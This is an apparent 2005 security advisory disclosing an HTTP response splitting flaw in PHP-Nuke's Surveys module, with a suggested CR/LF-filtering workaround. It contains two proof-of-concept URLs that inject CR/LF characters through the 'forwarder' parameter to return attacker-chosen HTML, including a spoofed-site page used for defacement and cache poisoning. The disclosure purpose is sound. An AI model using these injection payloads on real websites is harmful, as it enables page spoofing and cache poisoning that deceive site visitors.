[UNIX] PHP-Nuke HTTP Response Splitting

From: SecuriTeam (support_at_securiteam.com)
Date: 04/19/05

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Date: 19 Apr 2005 15:03:07 +0200

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      PHP-Nuke HTTP Response Splitting
    ------------------------------------------------------------------------

    SUMMARY

     <http://phpnuke.org/> Php-Nuke is "a popular open source content
    management system, written in PHP by Francisco Burzi. This CMS is used on
    manythousands websites, because it's freeware, easy to install and manage
    and has broad set of features".

    Due to improper filtering of user provided parameters, especially
    filtering of CR/LF characters, PHP-Nuke is vulnerable to HTTP response
    splitting vulnerability.

    DETAILS

    Vulnerable Systems:
     * PHP-Nuke version 7.6 and prior

    HTTP Response Splitting occurs when a web application fails to reject
    illegal input such as the CR and LF characters. In PHP-Nuke's mainfile.php
    module there is filtering function (removecrlf), but its not used in
    Surveys module.

    Redirection:
    http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a
    %3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING
    %3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5

    Cross User Defacement:
    Example of more serious exploiting, involving Cross User Defacement, Cache
    Poisoning and page hijacking:
    http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a
    %3Chtml%3E %3Ctitle%3E This is a spoofed site %3C/title%3E %3Cbody
    bgcolor=black%3E %3Cfont size=10 color=blue%3E Welcome to my PHP Nuke
    Website%3C/body%3E %3C/html%3E

    Workaround:
    Add CR/LF check for all user provided input variables.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dcrab@hackerscenter.com>
    dcrab.
    The original article can be found at: <http://digitalparadox.org/>
    http://digitalparadox.org/

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